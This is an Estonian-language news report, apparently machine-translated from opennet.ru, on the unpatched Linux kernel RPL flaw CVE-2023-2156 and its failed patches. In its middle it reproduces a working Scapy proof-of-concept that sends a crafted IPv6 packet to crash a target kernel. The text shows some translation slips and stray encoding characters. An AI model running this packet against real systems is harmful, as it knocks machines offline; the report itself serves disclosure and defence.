Avaldatud on teave parandamata (0-pĂ€ev) haavatavuse (CVE-2023-2156) kohta Linuxi tuumas, mis vĂ”imaldab sĂŒsteemi töö lĂ”petada, saates spetsiaalselt vormindatud IPv6 pakette (surmapakett). Probleem avaldub ainult siis, kui on sisse lĂŒlitatud RPL (Routing Protocol for Low-Power and Lossy Networks) protokolli tugi, mis on jaotustes vaikimisi vĂ€lja lĂŒlitatud ja mida kasutatakse peamiselt seadmetes, mis töötavad juhtmevabades vĂ”rkudes, kus pakettide kadu on suur.
Haavatavus on tingitud vÀliste andmete vale kÀsitlemise tÔttu RPL protokolli parsimise koodis, mis viib assert-tÔrke toimumiseni ja tuuma paanikasse. Kui k_buff (Socket Buffer) struktuuris, mis sisaldab IPv6 RPL paketi pealkirja parsingu tulemusena saadud andmeid, on CmprI vÀli seadistatud vÀÀrtuseks 15, Segleft 1-ks ja CmprE 0-ks, siis 48-baidine aadresside vektor avatakse 528 baitiks, mis kutsub esile olukorra, kus eraldatud mÀlu bufferi jaoks ei ole piisavalt. Sellisel juhul mÀngib skb_push funktsioon, mida kasutatakse andmete struktuuri paigutamiseks, andmete suuruse ja bufferi mittesobivuse kontrollimise, genereerides paanikat, et vÀltida kirjutamist bufferi piiridest vÀlja.
NĂ€ide eksploitist: # Kasutame Scapy't paketi loomisel from scapy.all import * import socket # Kasuta IPv6 oma LAN liideselt DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Me kasutame socket'e paketi saatmiseks sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Koosta pakett # TĂŒĂŒp = 3 muudab selle RPL-paketiks # Aadressid sisaldavad 3 aadressi, kuid kuna CmprI on 15, # iga oktet esimesest kahest aadressist kĂ€sitletakse kompressitud aadressina # Segleft = 1 aktiveerib paisumise # viimane_entries = 0xf0 seades CmprI 15-ks ja CmprE 0-ks p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Saada see kuri pakett sockfd.sendto(bytes(p), (DST_ADDR, 0))
Huvitav on see, et tuuma arendajaid teavitati haavatavusest juba 2022. aasta jaanuaris ning viimase 15 kuu jooksul on kolm korda pĂŒĂŒdnud probleemile lahendust leida, andes vĂ€lja plaastrid 2022. aasta septembris, oktoobris ja 2023. aasta aprillis, kuid igal korral osutusid parandused ebapiisavaks ja haavatavust Ă”nnestus uuesti paljastada. LĂ”puks vĂ”ttis ZDI projekt, mis koordineeris haavatavuse likvideerimist, vastu otsuse avaldada haavatavuse ĂŒksikasjad, ootamata töötava paranduse ilmumist tuumas.
Seega jÀÀb haavatavus endiselt lahendamata. Sealhulgas on ebaefektiivne patarei, mis on lisatud versiooni 6.4-rc2 tuuma. Kasutajatele soovitatakse kontrollida, et nende sĂŒsteemides ei kasutataks RPL-protokolli, mida saab teha kĂ€suga sysctl -a | grep -i rpl_seg_enabled.
Allikas: opennet.ru
